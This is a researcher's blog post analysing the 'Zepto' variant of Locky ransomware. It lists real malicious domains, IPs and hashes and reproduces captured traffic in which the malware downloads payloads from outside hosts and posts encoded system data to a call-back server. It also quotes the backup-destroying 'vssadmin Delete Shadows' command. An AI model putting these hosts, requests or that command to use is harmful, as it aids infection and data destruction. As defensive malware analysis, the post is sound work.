For this blog post I am covering what looks to be a new variant of Locky ransomware called “Zepto” which also uses Nemucod as it’s downloader. As of right now it looks like the main attack-vector from Zepto is from emails pretending to be something else (in this case a JPG in a zip archive) attached to an email as you can see below:
For some more information about this new variant of Locky please check out The Register’s article about it here. Also, the artifacts from this investigation along with the PCAP and Process Monitor logs can be found in my Github repo located here.
Indicators of Compromise:
=========================
peloteros1.50webs.com / 162.210.101.113 (Port 80)
heidechopper.de / 212.40.179.101 (Port 80)
www.leonardopivi.it / 213.205.40.169 (Port 80)
185.129.148.19 (Port 80)
ygpktpim.pw / 188.127.230.63 (Port 80)
31.41.46.29 (Port 80)
rrivgatfejqhg.pl (Unknown DNS)
uwqrqvttgfysrhu.org (Unknown DNS)
dcpxuedcnoa.click (Unknown DNS)
cljpimuk.xyz (Unknown DNS)
ajpwxtywqgv.ru (Unknown DNS)
fxveeemrorlfbuu.biz (Unknown DNS)
ulelypjqsdo.click (Unknown DNS)
peirdhihpxsqhnt.info (Unknown DNS)
Artifacts From Investigation:
=============================
File name: 50977610310_95677.wsf
File size: 31KB
MD5 hash: db13d1632fabb5e9a3495fb0f84b131d
Virustotal link: http://www.virustotal.com/en/file/da5f6249d20a28cea55ddd04dd1c9cd5a183b3ba4690a6b17daa4500fd93f089/analysis/
First Detection: 2016-08-05 11:55:06 UTC
Detection ratio: 3 / 55
File name: ETNqJC
File size: 260KB
MD5 hash: 4efca985895a53168d8ba990466d6cfb
Virustotal link: http://www.virustotal.com/en/file/faed997d40e60b92e2e8d798ad4fdd84a8fdbf13cd12e32886bda9c7bc38f655/analysis/
First Detection: 2016-08-05 10:56:04 UTC
Detection ratio: 2 / 52
File name: ETNqJC.exe
File size: 260KB
MD5 hash: 5525154d2928bded35303298b5da45e9
Virustotal link: http://www.virustotal.com/en/file/8feed91acb48f4f6d2ed01fdc2aa409c1e18700c089f4d92a28096fc4d40e3c7/analysis/
First Detection: 2016-08-05 11:13:47 UTC
Detection ratio: 12 / 54
File name: jtwlHmfWYP
File size: 260KB
MD5 hash: 4efca985895a53168d8ba990466d6cfb
Virustotal link: http://www.virustotal.com/en/file/faed997d40e60b92e2e8d798ad4fdd84a8fdbf13cd12e32886bda9c7bc38f655/analysis/
First Detection: 2016-08-05 10:56:04 UTC
Detection ratio: 2 / 52
File name: jtwlHmfWYP.exe
File size: 260KB
MD5 hash: 5525154d2928bded35303298b5da45e9
Virustotal link: http://www.virustotal.com/en/file/8feed91acb48f4f6d2ed01fdc2aa409c1e18700c089f4d92a28096fc4d40e3c7/analysis/
First Detection: 2016-08-05 11:13:47 UTC
Detection ratio: 12 / 54
File name: xMgPNwjQRaB
File size: 345KB
MD5 hash: 029ae44b379d08114259b850f45de150
Virustotal link: http://www.virustotal.com/en/file/1a17a5e27c658004e3900653663f22969eaf852fa54d89488fbf3cfee29774d1/analysis/
First Detection: 2009-03-02 12:21:52 UTC
Detection ratio: 0 / 53
File name: xMgPNwjQRaB.exe
File size: 345KB
MD5 hash: d8386110658905838a51fff785fb4e09
Traffic Analysis of Malware
===========================
Overall there is not much to this infection from a traffic perspective as it is pretty straight forward as you can see below:
Once the malicious file has been executed on the system, there are three GET requests which correlates to the three binary files that get downloaded to the system. The first GET request fails since it returns a 404:
GET /8t76v45?bThyYkypV=LvxkcmwGoF HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Host: peloteros1.50webs.com
Connection: Keep-Alive
HTTP/1.1 403 Forbidden
Content-Type: text/html
Content-Length: 345
Date: Fri, 05 Aug 2016 11:06:52 GMT
Server: lighttpd/1.4.28
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>
Because this request fails to download the malicious binary, the file is just a copy of the 404 page. The next two GET requests look to be encrypted since you don’t see the usual magic number of “MZ” in the PCAP:
GET /8t76v45?RdlxnmQu=kHiQWaw HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Host: heidechopper.de Connection: Keep-Alive HTTP/1.1 200 OK Date: Fri, 05 Aug 2016 13:56:25 GMT Server: Apache Last-Modified: Fri, 05 Aug 2016 11:00:41 GMT ETag: "c3c4133-40eb4-fa2d6840" Accept-Ranges: bytes Content-Length: 265908 Keep-Alive: timeout=3, max=25 Connection: Keep-Alive Content-Type: text/plain ...jTo7Ej9pp..90.Yn8BPEW"pvX0Qq5MJLjWo7En9ppU790OYn8BPEWbpvX8Pq5CU.dW.>.O.q<[LONG STRING] ----- GET /8t76v45?bHkNox=KjdFgP HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Host: www.leonardopivi.it Connection: Keep-Alive HTTP/1.1 200 OK Date: Fri, 05 Aug 2016 13:56:57 GMT Server: Apache Last-Modified: Fri, 05 Aug 2016 11:03:59 GMT ETag: "7d581c0-40eb4-539510606e3e9" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=15, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/plain 1faa ............._S............N"%[LONG STRING]
From here we proceed to see the POST requests to the call-back domains. The interesting thing here is that while the infected system tries to POST what I am thinking are system details and other bits that are using a custom encryption method, the POST requests are all failing. Also, each POST to the call-back domains has the same data in it as far as I can tell. An example of this can be seen below:
POST /php/upload.php HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://185.129.148.19/php/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Host: 185.129.148.19 Content-Length: 786 Connection: Keep-Alive yzit=%F9%E4%D8H%C2%E7%8DE%85%AEp%F1%28%FA%28A%06q%ED%CDdr%9B%2C%9B%BA%0C%8Bg%5E%2F%B4r%AD%D3%BBj%EE_%81%3B%02%99c%AE%F9%AB%D2z&cQqAK=%B6%18w%A4V%A5%9EXI%19%B9%8B%D4cg%EDM%BD%5D%93H&hCoF=%D3l%2A%C6%7C%B80%B4%F6%9E%BDN%25%17V%2F%DC%1E%AE%7C%3F%2B_m%DC%F9%EE%0Ds%A9%86%22%7D%08%A9%2A%21%CC%0E%8C9%EA%1A%E1%8A%0A%FBRj&TactdFW=%87%AAq%1A%F7%F8%98%C3%A2-%1AG%F1%7DVq%BBj%8D%A4%9C%C2LF%C6%C6%82%C7%80%5D%5D%F5.x%08&FHGZZ=%C7%ECmj%AF%27k%98%B9%5D%F1%D8%3A%0E%23%C9%99DLvH6%5B%81%C4%EB%9DU%C8rW&UkOIzI=npaQ%60%5B%F9%8DA%91%40%85%B9%5CP%E8%95%BF%FB%90%1F%7C%8C%3C%94h%BCc%28%DC%DB%F2%C0h&vMdtw=%17O%95HEqy%7E%C8mfr%E3kQom%F0e%B3%B5%D6%C2%27q%5C%99+%BA%92u%BF%0E%96%A0%E6%2A%3E%EF&qflL=9%28Ca%5BB%F6%F8%04p%D4%07%E3%1BD%CD%27%EE%F9d%A9%60H%CEo%94k%A2%7CC%96n%FE3%A9%DC%CC%AE%0F&ouF=lVR%5C%05%E4%0DHTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2016 13:57:44 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> </body> </html>
I am assuming that it is trying several times to make sure the data gets *SOMEWHERE*. Unfortunately it doesn’t look like it does. Also, we can see that there is a connection request to the IP address of 31.41.46.29 over port 80 that is never successful. Guess that these servers were already taken down by the time I ran this sample.
Host Investigation
==================
Like Locky, the execution of this malware sample is pretty straight forward as seen below:
When the script launches and performs the GET requests, it downloads the three malicious binaries from the different servers. The files that actually get downloaded are encrypted from what I can tell (based on what the file looks like when on the host and also in the PCAP), and then when on the compromised host system, gets decrypted and turned into actual executable binaries. All the files are located in the “C:\Users\%username%\AppData\Local\Temp” path.
From here we can see that the two binaries are then started with the script still the parent process. The main process that seems to do the bulk of the work and encrypting the file-system is the “ETNqJC.exe” process from what I gather. The other process is called “jtwlHmfWYP.exe” and at this time I am not exactly sure what this process is responsible for. I also noticed that one of the “ETNqJC.exe” child processes was responsible for the POST requests to the call back servers. We also see that the Windows Task Scheduler (taskeng.exe) process spins up, creates a new task, and then proceeds to run “C:\windows\system32\vssadmin.exe Delete Shadows /Quiet /Al” command.
Once the file system was encrypted, the communication to the call-back servers stopped and the usual pop-up alerts stating that the system had been encrypted became visible:
